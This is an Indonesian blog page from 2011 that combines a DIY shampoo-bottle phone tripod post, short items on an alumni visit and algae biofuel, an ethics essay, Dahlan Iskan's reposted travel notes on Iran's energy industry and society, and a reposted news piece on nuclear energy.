internet di negara kita kebanyakan kurang bagus ya, bandwitdh nya rendah. Jadi kalau kita ingin transfer sebuah event saja tanpa mengingat kalitas video yang tinggi, maka lebih baik bila filenya kecil saja jangan gede-gede. Jadi transfer cukup dengan 2-3 menit saja selesai sudah.

Tripod Handphone tidak eksis di dunia ini. So guyz karena itu kalo kita mau kita punya hp difungsikan untuk kamera, maka tripodnya harus bikin sendiri. Dan ngiris2 botol shampo pakai cutter ini dan menempatkan Handphone ditengahnya menjadi salah satu alternatif yang promising. Kalau tidak percaya lihat knerjanya ini tripod HP:

Jadi saya sudah upload ke youtube 1300 video klip, sejak Januari 2008 sampai dg hari ini (3 Juni 2011).

Hanya dengan handphone saja. Sorry mungkin 70% nya yg dengan HP sisanya ada juga dengan videocam. Jadi kalao kita dengerin lagunya Dee (Dewi Lestari)… begini nih… – Malaikat juga tahu, siapa yang jadi juaranya -.

Juara upload video klip di youtube. Tapi kalo di Hongkong dan Australia, banyak yang lebih dari saya. Ini untuk individu ya bukan corporate. Kalo tv2 itu emang udah kerjaannya, they are so profesional…

Coba saya jelaskan sedikit sambil lihat foto tentunya. Jadi bagian bawahnya adalah tripod kecil biasa mungkin harganya 50 ribuanlah. Atasnya kan ada mur. Lalu botolshampo bawahnya say bor jadi bolong seukuran diameter mur tripod. Dengan sendirinya untuk bisa menjepit bagian atasnya musti kita baut seukuran mur itu. Biasanya sih mur kuping tapi kal gak ada, mur biasa aja asal deratnya cocok dengan baut tripod itu. BAgian tengah atas pakai cutter anda potonglah atau bolongin itu botol shampo seukuran HP anda. Karena saya pakai 2 jenis hp bekas (nokia e90 dan soner w800i) maka bentuk potongannya jadi rada aneh. ANda bisa potong sendiri sesuai ukuran hp anda. Keunggulan dari tripod hp botol shampo ini sekarang adalah kemampuannya untuk diputar kesemua arah. atau tepatnya arah hemisphere alias setengah bola atas. Itu kan keuntungannya tripod tustel dimana dia bisa di putar arahnya dalam 6 derajat kebebasan.

Jadi begitulah keunggulan tripod hp botol shampo ini dan karena di Indonesia ini sudah jarang ada orang GILA yang meng-upload 1300 video klip ke youtube dan dailymotion. Oran bilang ‘kurang kerjaan’ kali tu orang. Emang bener ternyata, buktinya ini di hari kejepit nasional dimana PNS yang gak liburan keluar kota pada bengong dirumah kaya saya ini. Jadilah saya nulis diblog si kupret ini yang memang udah lama gak saya isi, dan lama juga gak nulis artikel diblog sendiri.

 

 

Dan ini hasil jepretannya

Kang Agus…

Tahu-tahu kantor kami Sekawan Group di BSD Serpong, kedatangan tamu istimewa.

Sudah lama tak bertemu, beliau aktif dimana=mana. Terutama di Facebook (?) dengan

ulasan-ulasannya baik politik maupun sosial.

Agus Muldya, wakil ketua alumni periode yang sekarang (sebentar lagi abis)…

yah tahulah ceritanya sebagai kepala pengurus Bridge UI dari dulu (Gabriel-UI)

yang sudah banyak membawa nama harum bangsa di kancah internasional, beliau tentu

banyak oleh-oleh ceritanya. Apalagi pengalamannya 10 tahun sebagai ketua KOSTI,

gaulnya dari mulai supir sampai ketua organda. Namun beliau datang ini untuk

kembali menanamkan rasa nasionalisme anak bangsa, terutama bagi generasi muda

alumni FTUI, Serta tak lupa mendorong kewirausahaan yang memang menjadi salah satu

misi kami di Sekawan.

Hadir juga dari Warta TV, kang Syaefurrahman dan kang Chairul Achir (Mesin 90) dari ANTV.

Lihat video ceramahnya kang Agus…

Biofuel dari Algae (lumut)

Forum Group Discussion in sciece and technology tentang biofuel dan biodiesel diselenggarakan di Dep Tek Mesin FTUI pada tgl 25 Mei 2011.
Meeting dibuka oleh Ketua Departemen Dr Ir Harinaldi M.Eng untuk memperkenalkan Biofuel yg merupakan hasil penelitian Prof Ricky Wee diperkenalkan dan di demo kan didepan staf pengajar dan mhs Doktoral. Hadir juga Dr Nelson dari Teknik Kimia. Bioenergi yang ramah lingkungan ini patut untuk digunakan di negara kita yang sudah terpolusi oleh bahan bakar fosil terutama di kota2 besar.

Profesional, Siapkah untuk mundur ?

-Jika tidak siap mengundurkan diri ataupun dipecat demi sesuatu yang anda yakini, anda bukanlah seorang profesional, anda hanya seorang budak belian (bb)-. Demikian disampaikan Gardner (2006).

Sedari awal para pekerja profesional (orang yang bekerja di perusahaan atau institusi) hanya terdidik untuk menciptakan keuntungan sebanyak-banyaknya bagi pemegang saham. Standar etis begitu mudah dicampakkan dalam dunia bisnis, karena banyak hukum didalamnya hanya bersifat sunnah. Akan direstui apabila itu diikuti, namun tak akan diberi sanksi apabila tidak dijalani.

Keberhasilan dalam membangun standar etis dalam berbisnis dan berkarya terutama ada didalam kesadaran diri sendiri. Kita harus memutuskan di sisi mana kita akan berdiri. Tidak dapat dipungkiri semakin banyak tantangan etis yang harus dihadapi para profesional ataupun organisasi dalam kehidupan sehari-hari, dari perkara kecil seperti penipuanhingga urusan besar seperti KORUPSI. Lihat kasus sekarang ini, satu atau dua menteri yang kebingungan berdiri dimana, ikut  terseret arus politik kekuasaan atau tetap profesional…

Mau pilih mana tetap pemain pro atau bb ?

(Dimodif dari trilogi E. Goestiandi).-

Catatan Dahlan Iskan dari Iran

Simak cerita CEO PLN bagaimana kita tidak bisa dapat gas dinegeri sendiri.

Posted by: “Fahmi Muhanna” muhanna87@yahoo.com   muhanna87

Tue May 10, 2011 9:45 am (PDT)

Assalamu alaikum wr.wb….

Berikut ini saya copy pastekan catatan perjalana pak Dahlan Iskan dari Iran.
Semoga ada manfaatnya

Wassalam…
———————————————————-

Baru sekali ini saya ke Iran. Kalau saja PLN tak kesulitan dapat gas
dalam negeri, barangkali takkan ada pikiran untuk melihat kemungkinan
mengimpor gas dari Negara Para Mullah ini.

Sudah setahun lebih PLN berjuang untuk dapat gas dari negeri sendiri. Tapi, hasilnya
malah sebaliknya. Jatah gas PLN justru diturunkan terus. Kalau awal
2010 PLN masih dapat jatah gas 1.100
MMSCFD (million metric standard cubic feet per day atau juta standar
metrik kaki kubik per hari), saat tulisan ini dibuat justru tinggal 900
MMSCFD. Perjuangan untuk dapat tambahan gas yang semula menunjukkan
tanda-tanda berhasil belakangan redup kembali.

Gas memang sulit diraba sehingga tak bisa terlihat ke mana larinya. Bisa
jadi gas itu akan berbelok-belok dulu entah ke mana, baru dari sana
dijual ke PLN dengan harga yang sudah berbeda. Padahal, PLN perlu 1,5
juta MMSCFD gas.

Kalau saja PLN bisa dapat gas sebanyak
itu, penghematannya bisa mencapai Rp15 triliun tiap tahun. Angka
penghematan yang mestinya menggiurkan siapapun.

Maka,
saya memutuskan ke Iran. Apalagi, upaya mengatasi krisis listrik sudah
berhasil dan menuntaskan daftar tunggu yang panjang itu pasti bisa
selesai bulan depan. Kini waktunya perjuangan dapat gas ditingkatkan.

Termasuk,
apa boleh buat, ke negara yang sudah sejak 1980-an diisolasi AS dan
sekutu-sekutunya itu. Siapa tahu ada harapan untuk menyelesaikan
persoalan pokok PLN sekarang ini: efisiensi.

Sumber pemborosan terbesar PLN adalah banyaknya pembangkit listrik yang ‘salah makan’. Sekitar 5.000
MW pembangkit yang seharusnya diberi makan gas sudah puluhan tahun
diberi makan minyak solar yang amat mahal. Salah makan itulah yang
membuat kembung perut PLN selama ini.

Kebetulan Iran
memang sedang memasarkan gas dalam bentuk cair (LNG). Iran sedang
membangun proyek LNG besar-besaran di kota Asaleuyah di pantai Teluk
Parsi.

Saya ingin tahu benarkah proyek itu bisa jadi?
Bukankah Iran sudah 30 tahun lebih dimusuhi dan diisolasi secara ekonomi
oleh AS dan sekutu-sekutunya dari seluruh dunia?

Bukankah begitu banyak yang meragukan Iran bisa dapat teknologi tinggi untuk membangun proyek LNG besar-besaran?

Saya
pun terbang ke Asaleuyah, dua jam penerbangan dari Teheran. Meski
Asaleuyah kota kecil, ternyata banyak sekali penerbangan ke kota yang
hanya dipisahkan oleh laut 600 Km dari Qatar itu.

Bandaranya
kecil, tapi cukup baik. Masih baru dan statusnya internasional.
Pesawat-pesawat lokal, seperti Aseman Air, terbang ke sana. Itulah kota
yang memang baru saja berkembang dengan pesatnya.

Iran
memang menjadikan kota Asaleuyah sebagai pusat industri minyak, gas, dan
petrokimia. Beratus-ratus hektare tanah di sepanjang pantai itu kini
dipenuhi rangkaian pipa-pipa kilang minyak, kilang petrokimia, dan
instalasi pembuatan LNG.

Saya heran bagaimana Iran bisa
dapat semua teknologi itu saat Iran diisolasi dunia Barat. Memang terasa
jalannya proyek tak bisa cepat, tapi sebagian besar sudah jadi.

Kilang
minyaknya, kilang petrokimianya, kilang etanolnya sudah beroperasi
dalam skala raksasa. Hanya kilang LNG-nya yang masih dalam pembangunan
dan kelihatannya akan selesai dua tahun lagi.

Memang,
kalau saja Iran tak diembargo, proyek-proyek itu pasti bisa lebih cepat.
Namun, Iran tak menyerah. Iran membuat sendiri banyak teknologi yang
dibutuhkan di situ.

Hanya bagian-bagian tertentu yang
masih didatangkan dari luar. Entah dengan cara apa dan entah lewat mana.
Yang jelas, barang-barang itu bisa ada. Orang, kalau kepepet, biasanya
memang banyak akal. Asal tak mudah menyerah. Demikian juga Iran.

Bahkan,
untuk memenuhi keperluan listrik untuk industri petrokimia itu, Iran
akhirnya bisa membuat pembangkit sendiri. Termasuk bisa membuat bagian
yang paling sulit di pembangkit listrik: turbin. Maka, Iran kini sudah
berhasil menguasai teknologi pembangkit listrik tenaga gas, baik open
cycle maupun combine cycle.

Kemampuan membuat pembangkit
listrik itu pun semula agak saya ragukan. Belum pernah terdengar ada
negara Islam yang mampu membuat pembangkit listrik secara utuh.

Karena
itu, setelah meninjau proyek LNG, saya minta diantar ke pabrik turbin
itu. Saya ingin lihat sendiri bagaimana Iran dipaksa keadaan untuk
mengatasi sendiri kesulitan teknologinya.

Ternyata
benar. Pabrik turbin itu sangat besar. Bukan hanya bisa merangkai, tapi
juga membuat keseluruhannya. Bahkan, sudah mampu membuat blade-blade
turbin sendiri.

Termasuk mampu menguasai teknologi
coating blade yang bisa meningkatkan efisiensi turbin. Baru sepuluh
tahun Iran menekuni alih teknologi pembangkit listrik itu.

Sekarang
Iran sudah memproduksi 225 unit turbin dari berbagai ukuran. Mulai 25
MW hingga 167 MW. Bahkan, Iran sudah mulai mengekspor turbin ke Lebanon,
Syria, dan Irak.

Bulan depan sudah pula mengekspor suku
cadang turbin ke India. Bulan lalu pabrik turbin Iran merayakan
produksi blade-nya yang ke-80.000 unit!

Kesimpulan saya:
inilah negara Islam pertama yang mampu membuat turbin dan keseluruhan
pembangkit listriknya. Saya dan rombongan PLN diberi kesempatan meninjau
semua proses produksinya.

Mulai A hingga Z. Termasuk
memasuki laboratorium metalurginya. Dengan kemampuannya itu, untuk
urusan listrik, Iran bisa mandiri. Bahkan, untuk pemeliharaan
pembangkit-pembangkit listrik yang lama, Iran tak bergantung lagi ke
pabrik asalnya. Mesin-mesin Siemens lama dari Jerman atau GE dari AS
bisa dirawat sendiri.

Iran sudah bisa memproduksi suku
cadang untuk semua mesin pembangkit Siemens dan GE. Bahkan, mereka sudah
dipercaya Siemens untuk memasok ke negara lain.

‘’Anak
perusahaan kami sanggup memelihara pembangkit-pembangkit listrik PLN
dengan suku cadang dari sini,’’ kata manajer di situ.

Pabrik
ini memiliki 32 anak perusahaan, masing-masing mengurus bidang yang
berbeda di sektor listrik. Termasuk ada anak perusahaan yang khusus
bergerak di bidang pemeliharaan dan operasi pembangkitan.

Bisnis
kelihatannya tetap bisnis. Saya tak habis pikir bagaimana Iran tetap
bisa dapat alat-alat produksi turbin berupa mesin-mesin dasar kelas satu
buatan Eropa: Italia, Jerman, Swiss, dan seterusnya. Saya juga tak
habis pikir bagaimana pabrik pembuatan turbin itu bisa dapat lisensi
Siemens.

Rupanya, meski membenci AS dan sekutunya, Iran
tak sampai membenci produk-produknya. Iran membenci AS hanya karena AS
membantu Israel. Itu jauh dari bayangan saya sebelum datang ke Iran.
Saya pikir Iran membenci apapun yang datang dari AS.

Ternyata
tidak. Bahkan, Coca-Cola dijual secara luas di Iran. Demikian juga,
Pepsi dan Miranda. Belum lagi Gucci, Prada, dan seterusnya.

Intinya:
dengan diembargo AS dan sekutunya, Iran hanya kesulitan pada
tahun-tahun pertama. Kesulitan itu membuat Iran kepepet, bangkit, dan
mandiri.

Kesulitan itu tak sampai membuatnya miskin,
apalagi bangkrut. Justru Iran dipaksa menguasai beberapa teknologi yang
semula jadi ketergantungannya.

Banyaknya proyek yang
sedang dikerjakan sekarang menunjukkan, pembangunan ekonomi Iran terus
berjalan. Mulai pengembangan bandara di mana-mana, pembangunan jalan
layang, hingga ke industri dasar. Tak ketinggalan pula industri mobil.

Kegiatan
ekonomi di Iran memang tak gegap gempita seperti Cina, tapi tetap
terasa menggeliat. Pertumbuhan ekonominya sudah bisa direncanakan enam
persen tahun ini. Mulai meningkat drastis jika dibanding tahun-tahun
pertama sanksi ekonomi diberlakukan.

‘’Sebelum ada
sanksi ekonomi, Iran hanya mampu memproduksi 300 ribu mobil setahun.
Kini Iran memproduksi 1,5 juta mobil setahun,’’ ujar seorang CEO
perusahaan terkemuka di Iran.(bersambung)

Di Antara Sepuluh Wanita, Sebelas Yang Cantik

KAMI
mendarat di Bandara Internasional Imam Khomeini, Teheran, menjelang
waktu salat Jumat. Maka, saya pun ingin segera ke masjid: sembahyang
Jumat. Saya tahu tidak ada kampung di sekitar bandara itu. Dari atas
terlihat bandara tersebut seperti benda jatuh di tengah gurun tandus
yang mahaluas. Tapi, setidaknya pasti ada masjid di bandara itu.

Memang
ada masjid di bandara itu, tapi tidak dipakai sembahyang Jumat. Saya
pun minta diantarkan ke desa atau kota kecil terdekat. Ternyata saya
kecele. Di Iran tidak banyak tempat yang menyelenggarakan sembahyang
Jumat. Bahkan, di kota sebesar Teheran, ibu kota negara dengan penduduk
16 juta orang itu, hanya ada satu tempat sembahyang Jumat.

Itu
pun bukan di masjid, tapi di Universitas Teheran. Dari bandara
memerlukan waktu perjalanan 1 jam. Atau bisa juga ke kota suci Qum.
Tapi, jaraknya lebih jauh lagi. Di negara Islam Iran, Jumatan hanya
diselenggarakan di satu tempat di setiap kota besar.

“Jadi, tidak ada tempat Jumatan di bandara ini?” tanya saya.

“Tidak ada. Kalau kita mau Jumatan, harus ke Teheran (40 km) atau ke Qum (70 km). Sampai di sana waktunya sudah lewat,” katanya.

Salat
Jumat ternyata memang tidak wajib di negara Islam Iran yang menganut
aliran Syiah itu. Juga tidak menggantikan salat Duhur. Jadi, siapa pun
yang salat Jumat tetap harus salat duhur.

Karena Jumat
adalah hari libur, saya tidak dijadwalkan rapat atau meninjau proyek.
Maka, waktu setengah hari itu saya manfaatkan untuk ke kota suci Qum.
Jalan tolnya tidak terlalu mulus, tapi sangat OK: enam jalur dan
tarifnya hanya Rp 4.000. Tarif itu kelihatannya memang hanya dimaksudkan
untuk biaya pemeliharaan.

Sepanjang perjalanan ke Qum
tidak terlihat apa pun. Sejauh mata memandang, yang terlihat hanyaÂ
gurun, gunung tandus, dan jaringan listrik. Saya bayangkan alangkah
enaknya membangun SUTET (saluran udara tegangan ekstratinggi) di Iran.
Tidak ada urusan dengan penduduk. Alangkah kecilnya gangguan listrik
karena tidak ada jaringan yang terkena pohon. Pohon begitu langka di
sini.

Begitu juga letak kota suci Qum. Kota ini seperti
berada di tengah-tengah padang yang tandus. Karena itu, bangunan
masjidnya yang amat besar, yang berada dalam satu kompleks dengan
madrasah yang juga besar, kelihatan sekali menonjol sejak dari jauh.

Tujuan
utama kami tentu ke masjid itu. Inilah masjid yang luar biasa
terkenalnya di kalangan umat Islam Syiah. Kalau pemerintahan Iran
dikontrol ketat oleh para mullah, di Qum inilah pusat mullah. Demokrasi
di Iran memang demokrasi yang dikontrol oleh ulama. Presidennya dipilih
secara demokratis untuk masa jabatan paling lama dua kali. Tapi, sang
presiden harus taat kepada pemimpin tertinggi agama yang sekarang
dipegang Imam Khamenei. Siapa pun bisa mencalonkan diri sebagai presiden
(tidak harus dari partai), tapi harus lolos seleksi oleh dewan ulama.

 Tapi,
sang imam bukan seorang diktator mutlak. Dia dipilih secara demokratis
oleh sebuah lembaga yang beranggota 85 mullah. Setiap mullah itu pun
dipilih langsung secara demokratis oleh rakyat.

 Dalam
praktik sehari-hari, ternyata tidak seseram yang kita bayangkan. Amat
jarang lembaga keagamaan itu mengintervensi pemerintah. “Dalam lima
tahun terakhir, kami belum pernah mendengar campur tangan mullah ke
pemerintah,” ujar seorang CEO perusahaan besar di Teheran.

Saya
memang kaget melihat kehidupan sehari-hari di Iran, termasuk di kota
suci Qum. Banyak sekali wanita yang mengendarai mobil. Tidak seperti di
negara-negara di jazirah Arab yang wanitanya dilarang mengendarai mobil.
Bahkan, orang Iran  menilai negara yang melarang wanita mengendarai
mobil dan melarang wanita memilih dalam pemilu bukanlah negara yang bisa
menyebut dirinya negara Islam.

Dan lihatlah cara wanita
Iran berpakaian. Termasuk di kota suci Qum. Memang, semua wanita
diwajibkan mengenakan kerudung (termasuk wanita asing), tapi ya tidak
lebih dari kerudung itu. Bukan jilbab, apalagi burqa. Kerudung itu
menutup rapi kepala, tapi boleh menyisakan bagian depan rambut mereka.
Maka, siapa pun bisa melihat mode bagian depan rambut wanita Iran. Ada
yang dibuat modis sedikit keriting dan sedikit dijuntaikan keluar dari
kerudung. Ada pula yang terlihat dibuat modis dengan cara mewarnai
rambut mereka. Ada yang blonde, ada pula yang kemerah-merahan.

 Bagaimana
baju mereka? Pakaian atas wanita Iran umumnya juga sangat modis. Baju
panjang sebatas lutut atau sampai ke mata kaki. Pakaian bawahnya hampir
100 persen celana panjang yang cukup ketat. Ada yang terbuat dari kain
biasa, tapi banyak juga yang celana jins. Dengan tampilan pakaian
seperti itu, ditambah dengan tubuh mereka yang umumnya langsing, wanita
Iran terlihat sangat modis.

 Apalagi, seperti kata orang
Iran, di antara sepuluh wanita Iran, yang cantik ada sebelas! Sedikit
sekali saya melihat wanita Iran yang memakai burqa, itu pun tidak ada
yang sampai menutup wajah.

 Sampai di kota Qum,
sembahyang Jumatnya memang sudah selesai. Ribuan orang bubaran keluar
dari masjid. Saya pun melawan arus masuk ke masjid melalui pintu  15.
Setelah salat Duhur, saya ikut ziarah ke makam Fatimah yang dikunjungi
ribuan jamaah itu. Makam itu berada di dalam masjid sehingga suasananya
mengesankan seperti ziarah ke makan Rasulullah di Masjid Nabawi.
Apalagi, banyak juga orang yang kemudian salat dan membaca Alquran di
dekat situ yang mengesankan orang seperti berada di Raudlah.

 Yang
juga menarik adalah strata sosialnya. Kota Metropolitan Teheran
berpenduduk 16 juta dan dengan ukuran 50 km garis tengah adalah kota
yang sangat besar. Sebanding dengan Jakarta dengan Jabotabek-nya.
Tetapi, tidak terlihat ada  keruwetan lalu lintas di Teheran. Memang,
Teheran tidak memiliki kawasan yang cantik seperti Jalan
Thamrin-Sudirman, namun sama sekali tidak terlihat ada kawasan kumuh
seperti Pejompongan dan Bendungan Hilir. Memang, tidak banyak gedung
pencakar langit yang cantik, tapi juga tidak terlihat gubuk dan bangunan
kumuh.

 Kota Teheran tidak memiliki bagian kota yang
terlihat mewah, tetapi juga tidak terlihat ada bagian kota yang miskin.
Teheran bukan kota yang sangat bersih, tapi juga tidak terasa kotor. Di
jalan-jalan yang penuh dengan mobil itu saya tidak melihat ada Mercy
mewah, apalagi Ferrari, tapi juga tidak ada bajaj, motor, atau mobil
kelas 600 hingga 1.000 cc.

 Lebih dari 90 persen mobil
yang memenuhi jalan adalah sedan kelas 1.500 hingga 2.000 cc. Saya tidak
melihat ada mal-mal yang besar di Teheran. Tapi, saya juga sama sekali
tidak melihat ada pedagang kaki lima, apalagi pengemis. Wanitanya juga
tidak ada yang sampai pakai burqa, tapi juga tidak ada yang berpakaian
merangsang. Orangnya rata-rata juga ramah dan sopan. Baik dalam sikap
maupun kata-kata.

Pemerataan pembangunan terasa sekali
berhasil diwujudkan di Iran. Semua rumah bisa masak dengan gas yang
dialirkan melalui pipa tersentral. Demikian juga, 99 persen rumah di
Iran menikmati listrik “untuk tidak menyebutkan 100 persen.

Melihat
Iran seperti itu saya jadi teringat makna kata yang ditempatkan di
bagian tengah-tengah Alquran: Wal Yatalaththaf! (bersambung)

Sambungan…

BAGAIMANA Iran ke depan?

Mengapa setelah lebih 20 tahun diisolasi dan diembargo Amerika Serikat Iran tidak kolaps seperti Burma, Korea Utara (Korut) atau Kuba?

Banyak faktor yang melatarbelakanginya. Pertama, saat mulai diisolasi dulu kondisi Iran sudah cukup maju. Kedua, tradisi keilmuan bangsa Iran termasuk yang terbaik di dunia. Ketiga, Iran penghasil minyak dan gas yang sangat besar. Keempat, jumlah penduduk Iran cukup besar untuk bisa mengembangkan ekonomi domestik. Kelima, tradisi dagang masyarakat Iran sudah terkenal dengan golongan bazarinya.

Tradisi dagang itu tidak mudah dikalahkan. Pedagang selalu bisa berkelit dari kesulitan. Ini berbeda dengan tradisi agraris. Seperti Tiongkok, meski 60 tahun dikungkung oleh komunisme Mao Zedong yang kaku, penduduknya tetap tidak lupa kebiasaan dagang. Demikian juga warga Iran. Ini terbukti sampai sekarang pun. Setelah lebih 20 tahun diisolasi pun sektor jasa masih menyumbang sampai 40% GDP negara itu.

Penduduk Iran yang 75 juta orang juga menjadi kekuatan ekonomi tersendiri. Apalagi saat mulai diisolasi oleh Amerika tahun 80-an, kondisi Iran sudah tidak tergolong negara miskin. Kelas menengah di Iran sangat dominan. Inilah faktor yang dulu membuat revolusi Islam Iran tahun 1979 berhasil menumbangkan diktator Syah Pahlevi. Keberhasilan itu disebabkan  masyarakat di Iran didominasi kaum bazari. Pedagang kelas menengah. Yakni bukan konglomerat yang ketakutan ditebas penguasa, dan bukan pedagang kecil yang takut kehilangan tempat bergantung. Belum lagi kekayaan alamnya. Iran adalah negara kedua terbesar penghasil minyak dan gas alam. Bukan hanya memiliki cadangan besar, tapi juga mampu melakukan drilling dan pengolahan sendiri. Tidak ada lagi ketergantungan akan teknologi  drilling dan pengolahan.

Salah satu sumber gasnya, yang baru saja ditemukan, akan membuat negara itu kian berkibar. Di lepas pantainya, di Teluk Parsi, ditemukan ladang gas terbesar di dunia. Ladang itu setengahnya berada di wilayah Qatar dan setengahnya lagi di wilayah Iran. Tahun 1999 lalu Qatar sudah berhasil menyedot gas bawah laut itu dari wilayah Qatar. Kalau Iran tidak menyedotnya dari wilayah Iran tentu semua gas itu akan disedot Qatar. Karena itu Iran juga bergegas menyedotnya dari sisi timur. Tahun 2003 lalu Iran sudah berhasil menyedot gas itu dan akan terus meningkatkan sedotannya. « Tiga tahun lagi kemampuan Iran menyedot gas itu sudah sama dengan Qatar, » ujar CEO perusahaan gas di sana.

Untuk menggambarkan seberapa besar potensi gas itu baiknya dikutip kata-kata CEO yang saya temui di atas. “Seluruh gas Iran di situ harganya USD 12 triliun”, katanya. Ini sama dengan 12 kali seluruh kekuatan ekonomi Indonesia yang USD 1 triliun saat ini.

« Kalau gas itu diambil dalam skala seperti sekarang baru akan habis dalam 200 tahun », tambahnya.
Gas itu letaknya memang 3.000 meter di bawah laut, namun dalamnya laut sendiri hanya 50 meter. Secara teknis ini jauh lebih mudah pengambilan gasnya daripada misalnya gas bawah laut Indonesia di Masela, di laut Maluku Tenggara.

Memang masih ada kendala ekonomi yang mendasar. Defisit anggaran masih menghantui, subsidi masih besar, laju inflasi masih tinggi dan akses perdagangannya masih terjepit oleh sanksi Amerika. Inflasi yang tinggi itu akibat naiknya harga bahan makanan, gas dan bahan bakar minyak (BBM).

Bahkan akibat inflasi itu Iran harus mencetak mata uang dengan pecahan lebih besar dari rupiah. Kalau pecahan rupiah paling besar Rp 100.000, real Iran terbesar adalah 500.000 real (1 real hampir sama dengan Rp 1). Bahkan ada juga real lembaran 1.000.000, meski penggunaannya hanya di lingkungan terbatas. Seperti Indonesia, Iran juga merencanakan menghapus empat nol di belakang real yang terlalu panjang itu. Hanya saja penghapusan nol tersebut baru akan dilakukan setelah inflasinya stabil kelak. Itulah sebabnya pemerintah Iran kini mati-matian memperbaiki fondasi ekonominya.

Tahun lalu parlemen Iran sudah menyetujui dilaksanakannya “reformasi ekonomi”. Sebuah reformasi yang sangat penting dan mendasar. Inti dari reformasi itu adalah menjadikan ekonomi Iran sebagai “ekonomi pasar”. Artinya harga-harga harus ditentukan oleh pasar. Tidak boleh lagi ada subsidi. Reformasi ekonomi itu ditargetkan harus berhasil dalam lima tahun ke depan.

Begitu pentingnya reformasi untuk meletakkan dasar-dasar ekonomi Iran itu, sampai-sampai Presiden Ahmadinejad berani mengambil resiko dihujat dan dibenci rakyatnya dua tahun terakhir ini. Subsidi pun dia hapus. Harga-harga merangkak naik. Ahmadinejad tidak takut tidak popular karena ini memang sudah masa jabatannya yang kedua, yang tidak mungkin bisa maju lagi jadi presiden.
Bahwa kini Iran memilih jalan ekonomi pasar sungguh mengejutkan. Alasannyapun “sangat ekonomi”: untuk meningkatkan produktivitas nasional dan keadilan sosial.

Subsidi (subsidi BBM tahun lalu mencapai USD 84 juta), menurut pemerintah, lebih banyak jatuh kepada orang kaya. Karena itu daripada anggaran dialokasikan untuk subsidi lebih baik langsung diarahkan untuk golongan yang berhak.

Pemikiran reformasi ekonomi seperti itulah yang tidak ada di negara-negara lain yang diisolasi Amerika Serikat. Inilah juga faktor yang membuat Iran tidak akan tertinggal seperti Burma, Kuba atau Libya. Dengan bendera sebagai Negara Islam pun Iran tetap menjunjung tinggi ilmu ekonomi yang benar. Tradisi keilmuan di Iran, termasuk ilmu ekonomi, memang sudah tinggi sejak zaman awal peradaban. Inilah salah satu bangsa tertua di dunia dengan peradaban Arya yang tinggi.

Dalam situasi terjepit sekarang pun, tradisi keilmuan itu tetap menonjol. Iran kini tercatat sebagai satu di antara 15 negara yang mampu mengembangkan nanoteknologi. Iran juga termasuk 10 negara yang mampu membuat dan meluncurkan sendiri roket luar angkasa.

Di bidang rekayasa kesehatan, Iran juga menonjol: teknologi stemcell, kloning dan jantung buatan sudah sangat dikenal di dunia. Bahkan untuk stemcell Iran masuk 10 besar dunia. Maka tidak heran kalau Iran juga tidak ketinggalan dalam penguasaan teknologi perminyakan, pembangkit listrik dan otomotif. Jangankan jenis teknologi itu, nuklir pun Iran sudah bisa membuat, lengkap dengan kemampuannya memproduksi uranium hexaflourade yang selama ini hanya dimiliki oleh enam negara.

AS kelihatannya berhasil membuat Burma, Korut, Kuba dan Libya menderita dengan embargonya. Tapi tidak untuk Iran. Ke depan posisi Iran justru kian baik, antara lain karena “dibantu” oleh Amerika Serikat sendiri.

Sudah lama Iran ingin menumbangkan Saddam Husein di Iraq, namun selalu gagal. Perang Iran-Iraq yang sampai 8 tahun pun tidak berhasil mengalahkan Saddam Husein. Iran tidak menyangka bahwa Saddam dengan mudah ditumbangkan oleh AS. Dengan tumbangnya Saddam Husein maka Iraq kini dikuasai oleh para pemimpin yang hati mereka memihak Iran. Banyak pemimpin Iraq saat ini adalah mereka yang di masa Saddam dulu terusir ke luar negeri, dan mereka bersembunyi di Iran. Bahkan saat terjadi perang Iran-Iraq dulu, mereka ikut angkat senjata bersama tentara Iran menyerbu Iraq.

Demokrasi yang diperjuangkan AS di Iraq telah membuat golongan mayoritas berkuasa di Iraq. Padahal mayoritas rakyat Iraq adalah Islam Syiah. Golongan Sunni hanya 40 persen, itu pun tidak utuh. Yang separo adalah keturunan Arab, sedang separo lagi keturunan Kurdi. Ada kecenderungan keturunan Kurdi memilih berkoalisi dengan Syiah. Padahal yang golongan Arab itu pun masih juga terpecah-pecah ke dalam berbagai kabilah. Saddam Husein, misalnya, datang dari suku Tikrit yang jumlahnya hanya sekitar 10% dari penduduk Iraq.

Dengan gambaran seperti itu maka masa depan hubungan Iran dan Iraq tinggal menunggu waktu yang tepat untuk menjadi amat mesra. Waktu yang tepat itu adalah ini: mundurnya AS 100% dari Iraq. Dan itu tidak akan lama lagi.

Pekan lalu pimpinan Iraq sudah mengatakan Iraq hanya perlu bantuan militer untuk menjaga perbatasan, bukan untuk urusan dalam negeri. Maka tidak lama lagi Iraq akan menjadi negara ketiga yang akan mengalirkan barang dari dan ke Iran. Dan kalau ini terjadi, masih ada gunanyakah Iran diisolasi?(*)

Dahlan Iskan

CEO PLN

Energi Nuklir Solusi Atasi Masalah Energi

Di copy paste dari Media Indonesia dot com

-0-

Senin, 09 Mei 2011 19:09 WIB

JAKARTA–MICOM: Energi nuklir diklaim sebagai bahan bakar yang bersih karena tidak mengeluarkan emisi atau CO2 dalam jumlah besar. Selain itu sisa hasil energi nuklir dapat didaur ulang untuk dijadikan energi kembali.

Hal tersebut disampaikan pengamat Masyarakat Energi Terbarukan Indonesia (METI) Jon Respati dalam seminar “Energi Berkelanjutan untuk Pembangunan Nasional” di Jakarta, Senin (9/5). “METI tidak antinuklir karena memahami nuklir energi bersih dalam artian tidak mengeluarkan atau mengemisikan CO2,” katanya.

Jon menyampaikan bahwa selama ini energi nuklir selalu dikait-kaitkan dengan senjata nuklir. Padahal nuklir bisa digunakan sebagai energi bersih dan hal itu perlu didukung.

Maka penggunaan energi nuklir perlu dilakukan dengan persiapan yang jelas dan penguasaan teknologi yang mumpuni. “SDM (sumber daya manusia) kita sudah cukup mumpuni, cuma diperlukan suatu persiapan yang jelas,” ujar Jon.

Sementara Ketua Masyarakat Peduli Energi dan Lingkungan (MPEL) Budi Sudarsono mengatakan bahwa bencana gempa dan tsunami yang menimpa Pembangkit Listrik Tenaga Nuklir (PLTN) Fukushima di Jepang membuat masyarakat takut. Namun ia menyampaikan bahwa bencana tersebut terjadi bukan karena kesalahan dalam pembangkit tersebut tetapi karena gempa.

Maka energi nuklir sebenarnya tidak terlalu beresiko seperti yang dibayangkan. “Tidak ada reaktor yang meledak, yang ada kepecahan tabung hidrogennya,” ujar Budi.

